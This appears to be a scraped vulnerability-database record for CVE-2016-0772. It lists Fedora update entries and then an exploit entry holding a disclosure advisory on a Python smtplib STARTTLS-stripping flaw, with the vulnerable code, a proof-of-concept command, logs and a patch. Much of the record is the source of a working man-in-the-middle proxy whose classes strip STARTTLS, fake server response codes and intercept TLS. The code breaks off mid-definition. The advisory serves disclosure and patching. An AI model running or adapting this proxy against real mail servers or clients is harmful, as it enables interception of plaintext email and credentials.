"description": "PyPy's implementation of Python 3, featuring a Just-In-Time compiler on som e CPU architectures, and various optimized implementations of the standard types (strings, dictionaries, etc) This build of PyPy has JIT-compilation enabled. ", "modified": "2016-07-12T02:27:18", "published": "2016-07-12T02:27:18", "id": "FEDORA:56C2C601CFA0", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 23 Update: pypy3-2.4.0-3.fc23", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5699"], "description": "Python 3 is a new version of the language that is incompatible with the 2.x line of releases. The language is mostly the same, but many details, especi ally how built-in objects like dictionaries and strings work, have changed considerably, and a lot of deprecated features have finally been removed. ", "modified": "2016-07-05T08:27:14", "published": "2016-07-05T08:27:14", "id": "FEDORA:1FEA26070D5D", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 23 Update: python3-3.4.3-9.fc23", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5699"], "description": "PyPy's implementation of Python 3, featuring a Just-In-Time compiler on som e CPU architectures, and various optimized implementations of the standard types (strings, dictionaries, etc) This build of PyPy has JIT-compilation enabled. ", "modified": "2016-07-05T05:02:40", "published": "2016-07-05T05:02:40", "id": "FEDORA:794FB6085F84", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 24 Update: pypy3-2.4.0-6.fc24", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "zdt": [{"lastseen": "2018-04-05T23:44:36", "description": "Exploit for multiple platform in category local exploits", "edition": 1, "published": "2018-01-11T00:00:00", "type": "zdt", "title": "Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-0772"], "modified": "2018-01-11T00:00:00", "href": "https://0day.today/exploit/description/29438", "id": "1337DAY-ID-29438", "sourceData": "VuNote\r\n============\r\n \r\n Author: <github.com/tintinweb>\r\n Version: 0.2\r\n Date: Nov 25th, 2015\r\n \r\n Tag: python smtplib starttls stripping (mitm)\r\n \r\nOverview\r\n--------\r\n \r\n Name: python \r\n Vendor: python software foundation\r\n References: * https://www.python.org/ [1]\r\n \r\n Version: 2.7.11, 3.4.4, 3.5.1\r\n Latest Version: 2.7.11, 3.4.4, 3.5.1 [2]\r\n Other Versions: 2.2 [3] (~14 years ago) <= affected <= 2.7.11\r\n 3.0 [3] (~7 years ago) <= affected <= 3.4.4\r\n 3.5.1\r\n Platform(s): cross\r\n Technology: c/python\r\n \r\n Vuln Classes: Selection of Less-Secure Algorithm During Negotiation (CWE-757)\r\n Origin: remote/mitm\r\n Min. Privs.: -\r\n \r\n CVE: CVE-2016-0772\r\n \r\n \r\nDescription\r\n---------\r\n \r\nquote wikipedia [4]\r\n \r\n>Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale.\r\n \r\n \r\nSummary \r\n-------\r\n \r\npython smtplib does not seem to raise an exception when the remote \r\nend (smtp server) is capable of negotiating starttls (as seen in the \r\nresponse to ehlo) but fails to respond with 220 (ok) to an explicit \r\ncall of `SMTP.starttls()`. This may allow a malicious mitm to perform a \r\nstarttls stripping attack if the client code does not explicitly check \r\nthe response code for starttls, which is rarely done as one might \r\nexpect that it raises an exception when starttls negotiation fails \r\n(like when calling starttls on a server that does not support it or \r\nwhen it fails to negotiate tls due to an ssl exception/cipher \r\nmismatch/auth fail).\r\n \r\nQuoting the PSRT with an extended analysis\r\n \r\n> It is a surprising and potential dangerous behavior. It also violates Python's documentation. states that all SMTP commands after starttls() are encrypted. That's clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib's and imaplib's starttls() method raise an error when the starttls handshake fails.\r\n \r\nChecking on how `smtplib.starttls()` is actually being used by open-source projects underlines that `smtplib.starttls()` is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current `smtplib.starttls()` behavior is different to `nntplib.starttls()`, `imaplib.starttls()`\r\n \r\nPoC see [6]\r\npatch attached.\r\n \r\nDetails\r\n------\r\n \r\nThe vulnerable code is located in `lib/smtplib.py` [3] line 646 (2.7 branch) and \r\nfails to raise an exception if `resp!=220`.\r\n \r\nThe documentation [7] suggests that `starttls()` either encrypts all communication\r\nor throws an exception if it was not able to negotiate tls.\r\n \r\n SMTP.starttls([keyfile[, certfile]])\r\n Put the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again.\r\n \r\n If keyfile and certfile are provided, these are passed to the socket module\ufffds ssl() function.\r\n \r\n If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first.\r\n \r\n Changed in version 2.6.\r\n \r\n SMTPHeloError\r\n The server didn\ufffdt reply properly to the HELO greeting.\r\n SMTPException\r\n The server does not support the STARTTLS extension.\r\n Changed in version 2.6.\r\n \r\n RuntimeError\r\n SSL/TLS support is not available to your Python interpreter.\r\n \r\n \r\nCode `lib/smtplib.py`:\r\n \r\nInline annotations are prefixed with `//#!`\r\n \r\n def starttls(self, keyfile=None, certfile=None):\r\n \"\"\"Puts the connection to the SMTP server into TLS mode.\r\n If there has been no previous EHLO or HELO command this session, this\r\n method tries ESMTP EHLO first.\r\n If the server supports TLS, this will encrypt the rest of the SMTP\r\n session. If you provide the keyfile and certfile parameters,\r\n the identity of the SMTP server and client can be checked. This,\r\n however, depends on whether the socket module really checks the\r\n certificates.\r\n This method may raise the following exceptions:\r\n SMTPHeloError The server didn't reply properly to\r\n the helo greeting.\r\n \"\"\"\r\n self.ehlo_or_helo_if_needed()\r\n if not self.has_extn(\"starttls\"):\r\n raise SMTPException(\"STARTTLS extension not supported by server.\")\r\n (resp, reply) = self.docmd(\"STARTTLS\")\r\n if resp == 220: //#! with a server not responding 220 it wont even try to negotiate tls\r\n if not _have_ssl: //#! silently stays unencrypted\r\n raise RuntimeError(\"No SSL support included in this Python\")\r\n self.sock = ssl.wrap_socket(self.sock, keyfile, certfile)\r\n self.file = SSLFakeFile(self.sock)\r\n # RFC 3207:\r\n # The client MUST discard any knowledge obtained from\r\n # the server, such as the list of SMTP service extensions,\r\n # which was not obtained from the TLS negotiation itself.\r\n self.helo_resp = None\r\n self.ehlo_resp = None\r\n self.esmtp_features = {}\r\n self.does_esmtp = 0\r\n return (resp, reply) //#! to actually detect this a client would have to manually check resp==220\r\n //#! or that the socket was turned into an SSLSock object\r\n \r\nProof of Concept\r\n----------------\r\n \r\n1. start `striptls.py` proxy\r\n \r\n #> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode\r\n \r\n - INFO - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready.\r\n - DEBUG - * added test (port:25 , proto: SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0>\r\n - INFO - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}>\r\n \r\n2. send mail using `smtplib` (starttls)\r\n \r\n import smtplib\r\n server = smtplib.SMTP('localhost', port=9999)\r\n server.set_debuglevel(1)\r\n server.ehlo()\r\n print server.esmtp_features\r\n server.starttls()\r\n server.sendmail(\"[email\u00a0protected]\", \"[email\u00a0protected]\", \"From: [email\u00a0protected]\\r\\nTo: [email\u00a0protected]\\r\\n\\r\\n\")\r\n server.quit()\r\n \r\n3. watch `striptls.py` fake the server response with `resp=200` instead of `resp=220`, not forwarding the message to the server. This effectively strips starttls. `smtplib` keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed.\r\n \r\n - DEBUG - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)\r\n - INFO - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected\r\n - INFO - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25)\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\\r\\n'\r\n - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithInvalidResponseCode new: True>\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\\r\\n250-SIZE 3 1457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'STARTTLS\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server][mangled] None\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'mail FROM:<[email\u00a0protected]> size=10\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '530 Authentication required\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'rset\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250 OK\\r\\n'\r\n - WARNING - <Session 0x1f0ea50> terminated.\r\n \r\nPatch\r\n-------\r\n \r\n* raise an exception if the server replies with an unexpected return-code to an explicit call for `smtplib.starttls()`.\r\n \r\n #https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755\r\n --- a/Lib/smtplib.py\r\n +++ b/Lib/smtplib.py\r\n @@ -773,6 +773,11 @@ class SMTP:\r\n self.ehlo_resp = None\r\n self.esmtp_features = {}\r\n self.does_esmtp = 0\r\n + else:\r\n + # RFC 3207:\r\n + # 501 Syntax error (no parameters allowed)\r\n + # 454 TLS not available due to temporary reason\r\n + raise SMTPResponseException(resp, reply)\r\n return (resp, reply)\r\n \r\n def sendmail(self, from_addr, to_addrs, msg, mail_options=[],\r\n \r\nNotes\r\n-----\r\n \r\nVendor response: see [8,9,10]\r\n \r\nTimeline:\r\n \r\n 11/25/2015 contact psrt; provided details, PoC, proposed patch\r\n 12/01/2016 response, initial analysis\r\n 01/29/2016 request ETA, bugref\r\n 02/01/2016 psrt assigned CVE-2016-0772\r\n 02/12/2016 response: will be addressed in upcoming 2.7, 3.5\r\n 02/13/2016 request ETA; response: no exact date\r\n 03/29/2016 request ETA; response: generic bounce message\r\n 05/12/2016 request ETA; no response\r\n 05/27/2016 request ETA; response: no exact date\r\n 06/12/2016 request ETA;\r\n 06/14/2016 response: ETA ~ June 26th\r\n 06/14/2016 vendor announcement [9]\r\n \r\nReferences\r\n---------\r\n \r\n [1] https://www.python.org/\r\n [2] https://www.python.org/downloads/\r\n [3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py\r\n [4] https://en.wikipedia.org/wiki/Python_(programming_language)\r\n [5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls\r\n [6] https://github.com/tintinweb/striptls\r\n [7] https://docs.python.org/2/library/smtplib.html\r\n [8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772\r\n [9] http://www.openwall.com/lists/oss-security/2016/06/14/9\r\n [10] https://access.redhat.com/security/cve/cve-2016-0772\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n#! /usr/bin/env python\r\n# -*- coding: UTF-8 -*-\r\n# Author : <github.com/tintinweb>\r\n# see: https://github.com/tintinweb/striptls\r\n# pip install striptls\r\n#\r\n'''\r\n inbound outbound\r\n[inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target]\r\n'''\r\nimport sys\r\nimport os\r\nimport logging\r\nimport socket\r\nimport select\r\nimport ssl\r\nimport time\r\nimport re\r\n \r\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s')\r\nlogger = logging.getLogger(__name__)\r\n \r\nclass SessionTerminatedException(Exception):pass\r\nclass ProtocolViolationException(Exception):pass\r\n \r\nclass TcpSockBuff(object):\r\n ''' Wrapped Tcp Socket with access to last sent/received data '''\r\n def __init__(self, sock, peer=None):\r\n self.socket = None\r\n self.socket_ssl = None\r\n self.recvbuf = ''\r\n self.sndbuf = ''\r\n self.peer = peer\r\n self._init(sock)\r\n \r\n def _init(self, sock):\r\n self.socket = sock\r\n \r\n def connect(self, target=None):\r\n target = target or self.peer\r\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n return self.socket.connect(target)\r\n \r\n def accept(self):\r\n return self.socket.accept()\r\n \r\n def recv(self, buflen=8*1024, *args, **kwargs):\r\n if self.socket_ssl:\r\n chunks = []\r\n chunk = True\r\n data_pending = buflen\r\n while chunk and data_pending:\r\n chunk = self.socket_ssl.read(data_pending)\r\n chunks.append(chunk)\r\n data_pending = self.socket_ssl.pending()\r\n self.recvbuf = ''.join(chunks)\r\n else:\r\n self.recvbuf = self.socket.recv(buflen, *args, **kwargs)\r\n return self.recvbuf\r\n \r\n def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs):\r\n force_first_loop_iteration = True\r\n end = time.time()+timeout if timeout else 0\r\n while force_first_loop_iteration or (not timeout or time.time()<end):\r\n # force one recv otherwise we might not even try to read if timeout is too narrow\r\n try:\r\n return self.recv(buflen=buflen, *args, **kwargs)\r\n except ssl.SSLWantReadError:\r\n pass\r\n force_first_loop_iteration = False\r\n \r\n def send(self, data, retransmit_delay=0.1):\r\n if self.socket_ssl:\r\n last_exception = None\r\n for _ in xrange(3):\r\n try:\r\n self.socket_ssl.write(data)\r\n last_exception = None\r\n break\r\n except ssl.SSLWantWriteError,swwe:\r\n logger.warning(\"TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s\"%(_,retransmit_delay,repr(swwe)))\r\n last_exception = swwe\r\n time.sleep(retransmit_delay)\r\n if last_exception:\r\n raise last_exception\r\n else:\r\n self.socket.send(data)\r\n self.sndbuf = data\r\n \r\n def sendall(self, data):\r\n if self.socket_ssl:\r\n self.send(data)\r\n else:\r\n self.socket.sendall(data)\r\n self.sndbuf = data\r\n \r\n def ssl_wrap_socket(self, *args, **kwargs):\r\n if len(args)>=1:\r\n args[1] = self.socket\r\n if 'sock' in kwargs:\r\n kwargs['sock'] = self.socket\r\n if not args and not kwargs.get('sock'):\r\n kwargs['sock'] = self.socket\r\n self.socket_ssl = ssl.wrap_socket(*args, **kwargs)\r\n self.socket_ssl.setblocking(0) # nonblocking for select\r\n \r\n def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs):\r\n if len(args)>=1:\r\n args[1] = self.socket\r\n if 'sock' in kwargs:\r\n kwargs['sock'] = self.socket\r\n if not args and not kwargs.get('sock'):\r\n kwargs['sock'] = self.socket\r\n self.socket_ssl = ctx.wrap_socket(*args, **kwargs)\r\n self.socket_ssl.setblocking(0) # nonblocking for select\r\n \r\nclass ProtocolDetect(object):\r\n PROTO_SMTP = 25\r\n PROTO_XMPP = 5222\r\n PROTO_IMAP = 143\r\n PROTO_FTP = 21\r\n PROTO_POP3 = 110\r\n PROTO_NNTP = 119\r\n PROTO_IRC = 6667\r\n PROTO_ACAP = 675\r\n PROTO_SSL = 443\r\n \r\n PORTMAP = {25: PROTO_SMTP,\r\n 5222:PROTO_XMPP,\r\n 110: PROTO_POP3,\r\n 143: PROTO_IMAP,\r\n 21: PROTO_FTP,\r\n 119: PROTO_NNTP,\r\n 6667: PROTO_IRC,\r\n 675: PROTO_ACAP\r\n }\r\n \r\n KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP),\r\n (['xmpp'], PROTO_XMPP),\r\n (['. capability'], PROTO_IMAP),\r\n (['auth tls'], PROTO_FTP)\r\n )\r\n \r\n def __init__(self, target=None):\r\n self.protocol_id = None\r\n self.history = []\r\n if target:\r\n self.protocol_id = self.PORTMAP.get(target[1])\r\n if self.protocol_id:\r\n logger.debug(\"%s - protocol detected (target port)\"%repr(self))\r\n \r\n def __str__(self):\r\n return repr(self.proto_id_to_name(self.protocol_id))\r\n \r\n def __repr__(self):\r\n return \"<ProtocolDetect %s protocol_id=%s len_history=%d>\"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history))\r\n \r\n def proto_id_to_name(self, id):\r\n if not id:\r\n return id\r\n for p in (a for a in dir(self) if a.startswith(\"PROTO_\")):\r\n if getattr(self, p)==id:\r\n return p \r\n \r\n def detect_peek_tls(self, sock):\r\n if sock.socket_ssl:\r\n raise Exception(\"SSL Detection for ssl socket ..whut!\")\r\n TLS_VERSIONS = {\r\n # SSL\r\n '\\x00\\x02':\"SSL_2_0\",\r\n '\\x03\\x00':\"SSL_3_0\",\r\n # TLS\r\n '\\x03\\x01':\"TLS_1_0\",\r\n '\\x03\\x02':\"TLS_1_1\",\r\n '\\x03\\x03':\"TLS_1_2\",\r\n '\\x03\\x04':\"TLS_1_3\",\r\n }\r\n TLS_CONTENT_TYPE_HANDSHAKE = '\\x16'\r\n SSLv2_PREAMBLE = 0x80\r\n SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\\x01'\r\n \r\n peek_bytes = sock.recv(5, socket.MSG_PEEK)\r\n if not len(peek_bytes)==5:\r\n return\r\n # detect sslv2, sslv3, tls: one symbol is one byte; T .. type\r\n # L .. length \r\n # V .. version\r\n # 01234\r\n # detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set.\r\n # sslv3 TVVLL \r\n # tls TVVLL T=0x16 ... ContentType.Handshake\r\n v = None\r\n if ord(peek_bytes[0]) & SSLv2_PREAMBLE \\\r\n and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \\\r\n and peek_bytes[3:3+2] in TLS_VERSIONS.keys():\r\n v = TLS_VERSIONS.get(peek_bytes[3:3+2])\r\n logger.info(\"ProtocolDetect: SSL23/TLS version: %s\"%v)\r\n elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \\\r\n and peek_bytes[1:1+2] in TLS_VERSIONS.keys():\r\n v = TLS_VERSIONS.get(peek_bytes[1:1+2]) \r\n logger.info(\"ProtocolDetect: TLS version: %s\"%v)\r\n return v\r\n \r\n \r\n def detect(self, data):\r\n if self.protocol_id:\r\n return self.protocol_id\r\n self.history.append(data)\r\n for keywordlist,proto in self.KEYWORDS:\r\n if any(k in data.lower() for k in keywordlist):\r\n self.protocol_id = proto\r\n logger.debug(\"%s - protocol detected (protocol messages)\"%repr(self))\r\n return\r\n \r\nclass Session(object):\r\n ''' Proxy session from client <-> proxy <-> server \r\n @param inbound: inbound socket\r\n @param outbound: outbound socket\r\n @param target: target tuple ('ip',port) \r\n @param buffer_size: socket buff size'''\r\n \r\n def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096):\r\n self.proxy = proxy\r\n self.bind = proxy.getsockname()\r\n self.inbound = TcpSockBuff(inbound)\r\n self.outbound = TcpSockBuff(outbound, peer=target)\r\n self.buffer_size = buffer_size\r\n self.protocol = ProtocolDetect(target=target)\r\n self.datastore = {}\r\n \r\n def __repr__(self):\r\n return \"<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>\"%(hex(id(self)),\r\n self.inbound.peer,\r\n self.bind,\r\n self.outbound.peer)\r\n def __str__(self):\r\n return \"<Session %s>\"%hex(id(self))\r\n \r\n def connect(self, target):\r\n self.outbound.peer = target\r\n logger.info(\"%s connecting to target %s\"%(self, repr(target)))\r\n return self.outbound.connect(target)\r\n \r\n def accept(self):\r\n sock, addr = self.proxy.accept()\r\n self.inbound = TcpSockBuff(sock)\r\n self.inbound.peer = addr\r\n logger.info(\"%s client %s has connected\"%(self,repr(self.inbound.peer)))\r\n return sock,addr\r\n \r\n def get_peer_sockets(self):\r\n return [self.inbound.socket, self.outbound.socket]\r\n \r\n def notify_read(self, sock):\r\n if sock == self.proxy:\r\n self.accept()\r\n self.connect(self.outbound.peer)\r\n elif sock == self.inbound.socket:\r\n # new client -> prxy - data\r\n self.on_recv_peek(self.inbound, self)\r\n self.on_recv(self.inbound, self.outbound, self)\r\n elif sock == self.outbound.socket:\r\n # new sprxy <- target - data\r\n self.on_recv(self.outbound, self.inbound, self)\r\n return \r\n \r\n def close(self):\r\n try:\r\n self.outbound.socket.shutdown(2)\r\n self.outbound.socket.close()\r\n self.inbound.socket.shutdown(2)\r\n self.inbound.socket.close()\r\n except socket.error, se:\r\n logger.warning(\"session.close(): Exception: %s\"%repr(se))\r\n raise SessionTerminatedException()\r\n \r\n def on_recv(self, s_in, s_out, session):\r\n data = s_in.recv(session.buffer_size)\r\n self.protocol.detect(data)\r\n if not len(data):\r\n return session.close()\r\n if s_in == session.inbound:\r\n data = self.mangle_client_data(session, data)\r\n elif s_in == session.outbound:\r\n data = self.mangle_server_data(session, data)\r\n if data:\r\n s_out.sendall(data)\r\n return data\r\n \r\n def on_recv_peek(self, s_in, session): pass\r\n def mangle_client_data(self, session, data, rewrite): return data\r\n def mangle_server_data(self, session, data, rewrite): return data\r\n \r\nclass ProxyServer(object):\r\n '''Proxy Class'''\r\n \r\n def __init__(self, listen, target, buffer_size=4096, delay=0.0001):\r\n self.input_list = set([])\r\n self.sessions = {} # sock:Session()\r\n self.callbacks = {} # name: [f,..]\r\n #\r\n self.listen = listen\r\n self.target = target\r\n #\r\n self.buffer_size = buffer_size\r\n self.delay = delay\r\n self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n self.bind.bind(listen)\r\n self.bind.listen(200)\r\n \r\n def __str__(self):\r\n return \"<Proxy %s listen=%s target=%s>\"%(hex(id(self)),self.listen, self.target)\r\n \r\n def get_session_by_client_sock(self, sock):\r\n return self.sessions.get(sock)\r\n \r\n def set_callback(self, name, f):\r\n self.callbacks[name] = f\r\n \r\n def main_loop(self):\r\n self.input_list.add(self.bind)\r\n while True:\r\n time.sleep(self.delay)\r\n inputready, _, _ = select.select(self.input_list, [], [])\r\n \r\n for sock in inputready:\r\n if not sock in self.input_list: \r\n # Check if inputready sock is still in the list of socks to read from\r\n # as SessionTerminateException might remove multiple sockets from that list\r\n # this might otherwise lead to bad FD access exceptions\r\n continue\r\n session = None\r\n try:\r\n if sock == self.bind:\r\n # on_accept\r\n session = Session(sock, target=self.target)\r\n for k,v in self.callbacks.iteritems():\r\n setattr(session, k, v)\r\n session.notify_read(sock)\r\n for s in session.get_peer_sockets():\r\n self.sessions[s]=session\r\n self.input_list.update(session.get_peer_sockets())\r\n else:\r\n # on_recv\r\n try:\r\n session = self.get_session_by_client_sock(sock)\r\n session.notify_read(sock)\r\n except ssl.SSLError, se:\r\n if se.errno != ssl.SSL_ERROR_WANT_READ:\r\n raise\r\n continue\r\n except SessionTerminatedException:\r\n self.input_list.difference_update(session.get_peer_sockets())\r\n logger.warning(\"%s terminated.\"%session)\r\n except Exception, e:\r\n logger.error(\"main: %s\"%repr(e))\r\n if isinstance(e,IOError):\r\n for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith(\"_TLS_\")):\r\n if not os.path.isfile(value):\r\n logger.error(\"%s = %s - file not found\"%(kname, repr(value)))\r\n if session:\r\n logger.error(\"main: removing all sockets associated with session that raised exception: %s\"%repr(session))\r\n try:\r\n session.close()\r\n except SessionTerminatedException: pass\r\n self.input_list.difference_update(session.get_peer_sockets())\r\n elif sock and sock!=self.bind:\r\n # exception for non-bind socket - probably fine to close and remove it from our list\r\n logger.error(\"main: removing socket that probably raised the exception\")\r\n sock.close()\r\n self.input_list.remove(sock)\r\n else:\r\n # this is just super-fatal - something happened while processing our bind socket.\r\n raise \r\n \r\nclass Vectors:\r\n _TLS_CERTFILE = \"server.pem\"\r\n _TLS_KEYFILE = \"server.pem\"\r\n \r\n class GENERIC:\r\n _PROTO_ID = None\r\n class Intercept:\r\n '''\r\n proto independent msg_peek based tls interception\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite): return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite): return data\r\n @staticmethod\r\n def on_recv_peek(session, s_in):\r\n if s_in.socket_ssl:\r\n return\r\n \r\n ssl_version = session.protocol.detect_peek_tls(s_in)\r\n if ssl_version:\r\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\r\n try:\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n session.outbound.ssl_wrap_socket_with_context(context, server_side=False)\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n except Exception, e:\r\n logger.warning(\"Exception - not ssl intercepting outbound: %s\"%repr(e))\r\n \r\n @staticmethod\r\n def create_ssl_context(proto=ssl.PROTOCOL_SSLv23, \r\n verify_mode=ssl.CERT_NONE,\r\n protocols=None,\r\n options=None,\r\n ciphers=\"ALL\"):\r\n protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1',\r\n 'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2')\r\n options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE',\r\n 'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION')\r\n context = ssl.SSLContext(proto)\r\n context.verify_mode = verify_mode\r\n # reset protocol, options\r\n context.protocol = 0\r\n context.options = 0\r\n for p in protocols:\r\n context.protocol |= getattr(ssl, p, 0)\r\n for o in options:\r\n context.options |= getattr(ssl, o, 0)\r\n context.set_ciphers(ciphers)\r\n return context\r\n \r\n class InboundIntercept:\r\n '''\r\n proto independent msg_peek based tls interception\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n # peek again - make sure to check for inbound ssl connections\r\n # before forwarding data to the inbound channel\r\n # just in case server is faster with answer than client with hello\r\n # likely if smtpd and striptls are running on the same segment\r\n # and client is not.\r\n if not session.inbound.socket_ssl:\r\n # only peek if inbound is not in tls mode yet\r\n # kind of a hack but allow additional 0.1 secs for the client\r\n # to send its hello\r\n time.sleep(0.1)\r\n Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite): \r\n return data\r\n @staticmethod\r\n def on_recv_peek(session, s_in):\r\n if s_in.socket_ssl:\r\n return\r\n \r\n ssl_version = session.protocol.detect_peek_tls(s_in)\r\n if ssl_version:\r\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\r\n try:\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n except Exception, e:\r\n logger.warning(\"Exception - not ssl intercepting inbound: %s\"%repr(e))\r\n \r\n class SMTP:\r\n _PROTO_ID = 25\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\r\n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\r\n if not features[-1].startswith(\"250 \"):\r\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\r\n data = '\\r\\n'.join(features)+'\\r\\n' \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithInvalidResponseCode:\r\n ''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can)\r\n 2) Respond to client STARTTLS with invalid response code\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\r\n features = list(data.strip().split(\"\\r\\n\"))\r\n features.insert(-1,\"250-STARTTLS\") # add STARTTLS from capabilities\r\n #if \"STARTTLS\" in data:\r\n # features = [f for f in features if not \"STARTTLS\" in f] # remove STARTTLS from capabilities\r\n data = '\\r\\n'.join(features)+'\\r\\n' \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"200 STRIPTLS\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"200 STRIPTLS\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithTemporaryError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def 